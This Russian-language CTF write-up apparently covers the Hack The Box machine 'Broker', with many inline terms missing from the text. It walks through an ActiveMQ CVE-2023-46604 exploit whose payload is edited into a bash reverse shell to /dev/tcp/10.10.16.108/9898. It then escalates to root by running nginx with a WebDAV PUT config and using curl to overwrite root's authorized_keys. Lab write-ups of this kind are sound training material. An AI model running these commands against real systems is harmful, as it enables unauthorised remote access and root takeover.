Друзья, всем привет! Сегодня пройдём лёгкую
-машину с площадки
. Приятного чтения!
Разведка
Сканируем порты, используем флаг
, чтобы использовать стандартные скрипты,
, чтобы определить сервисы открытых портов:
Bash:
Код:
nmap -sC -sV -oN nmap.out
10.10
.11.243
Bash:
Код:
PORT STATE SERVICE VERSION
22
/tcp
open
ssh
OpenSSH
8
.9p1 Ubuntu 3ubuntu0.4
(
Ubuntu Linux
;
protocol
2.0
)
|
ssh-hostkey:
|
256
3eea454bc5d16d6fe2d4d13b0a3da94f
(
ECDSA
)
|
_
256
64cc75de4ae6a5b473eb3f1bcfb4e394
(
ED25519
)
80
/tcp
open
http nginx
1.18
.0
(
Ubuntu
)
|
http-auth:
|
HTTP/1.1
401
Unauthorized
\
x0D
|
_ basic
realm
=
ActiveMQRealm
|
_http-server-header: nginx/1.18.0
(
Ubuntu
)
|
_http-title: Error
401
Unauthorized
Service Info: OS: Linux
;
CPE: cpe:/o:linux:linux_kernel
Имеется два открытых
-порта:
и
. Перейдём на
-ый порт:
Требуется ввести имя пользователя и пароль. В случае, если они неверны, то вылетает
. Из сканирования
можно понять, что используется
. Таким образом мы можем загуглить имя пользователя/пароль, которые изначально установлены:
Указываем
и попадаем в панель:
Перейдя в
, мы можем узнать версию сервиса
:
Гуглим версию с названием сервиса и натыкаемся на CVE-2023-46604:
Мы также можем воспользоваться данным эксплойтом для получения первичного доступа (
):
Важно отметить, что для его работы Вам требуется установленный компилятор
. Также можете воспользоваться эксплойтом на python. В
-проекте есть несколько файлов:
- сама программа, а
-
-файл с полезной нагрузкой. Последний сделан для того, чтобы продемонстрировать наличие уязвимости:
Поэтому нам нужно его изменить на:
XML:
Код:
bash
-c
bash -i
>
&
/dev/tcp/10.10.16.108/9898 0
>
&
1
*
- мой
-адрес,
- мой порт на листенере
.
Теперь нам понадобятся три сессии терминала:
- В первой
мы поднимем веб-сервер
на
порту - через него уязвимый сервер с помощью эксплойта сможет получить доступ к
, который располагается у нас на хосте.
- Во второй
поднимаем листенер на
, чтобы получить реверс шелл.
- В третьей
запускаем сам эскплоит через
с указанием уязвимого сервера (опция
) и ссылки на на
.
Запускаем всё и получаем сессию от имени пользователя
:
На данном этапе Вы уже можете прочитать
.
Взятие пользователя
После того, как мы получили первичный доступ, используем стандартную команду
, чтобы узнать какие команды от лица
мы можем запускать без пароля с правами суперпользователя:
Исходя из вывода, мы можем таким образом запустить веб-сервер
. Самый простой вариант - сделать
и запустить
на каком-нибудь порту, например,
, затем просто прочитать файл
. Но мы немного усложним и пройдём машину так, чтобы получить удалённый доступ от лица пользователя
. Немного покопавшись в гугле, можно найти следующую статью:
В ней есть примеры
, которые помогут нам сделать эксплоит:
1. Создаём
со следующим содержимым (порт Вы можете изменить):
- user root; - устанавливает пользователя, от имени которого будет работать процесс
. В данном случае, установлен пользователь
, что означает, что
будет работать с правами суперпользователя.
- events { worker_connections 500; } - задает параметры для обработки событий воркерами
. В данном случае, установлено значение
равным
, что определяет максимальное количество одновременных соединений, которые может обрабатывать один воркер.
- http { ... } - объявляет блок конфигурации для настроек
-сервера.
- server { ... } - объявляет блок конфигурации для настроек виртуального сервера внутри блока
.
- listen 9899; - устанавливает порт, на котором сервер будет слушать входящие соединения. В данном случае, сервер будет слушать порт
.
- root /; - устанавливает корневую директорию (
) для этого виртуального сервера.
- dav_methods PUT; - включает поддержку метода
для данного сервера. Метод
позволяет клиентам загружать файлы на сервер.
2. Поднимем веб-сервер
на
порту.
3. Загрузим в
созданный нами файл
с помощью веб-сервера
.
4. Запустим
с правами суперпользователя, используя опцию
, чтобы указать путь к конфигурационному файлу.
5. Используем
, чтобы убедиться в том, что веб-сервер заработал на указанном порту.
План действий таков: перезапишем
в каталоге
на атакуемой машине (т.к. веб-сервер подняли с правами суперпользователя и указали в конфиге, что работа идёт от
), чтобы подключиться по
от лица пользователя
без пароля.
Для начала сгенерируем
-ключи на нашей машине с помощью
:
Прочитаем и скопируем публичный ключ
:
И сделаем следующий
-запрос с помощью
:
Bash:
Код:
curl
-X PUT http://10.10.11.243:9899/root/.ssh/authorized_keys --data
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtcJKegrmZIW6DUp02zvXRacBkkk2YOQlMRztFaK6oRh2fMPTPUfClYiLHSiJkgS8cSF+KaffPPJvobdsU56pVnuSESJCNLPDuuL65IXJDqh6kFNjpcN3RzEfFw2u0Xzv7iqxBFnGp92MzKI7izs0UJaNLc4v6rj0I3jQFyjR6jNXtSy/NiZwm6pT2Sv+qMpjlNLW6iOCDIouT7Jja/Y93x5QS6vUz/b/X1HUuchkJSJz2K3IKgUvTGJfvzuw5ihLKC+7lv8gNubOKsq3WzOoJublJyOM158bn27pZTIlianuNfHaGeFmKRiyOCFtJeg4guQZZaMkcNu/4IDDe6xfwWbF5DNradDeDZ7hfQDOF1HHVp0vclRseUgiPOUigbjCpWt0kSiwtBoUVLCTVXpX79CrGXoDQFi82otRTBslDe8dRfyfN58fE13JKzXI5VYFzQCwZk9QoDSksGjIP5OfMu1LM5L0zZ66cTshF/2jk75B3GkIfT0d48vJPgYsRHJc= trager@hackmachine"
После отправки запроса пробуем подключиться к
от лица
:
Успех! Получаем
-флаг.
Друзья, большое спасибо, что дочитали статью до конца. Если есть какие-то ошибки/неточности, то, пожалуйста, напишите об этом в комментариях =D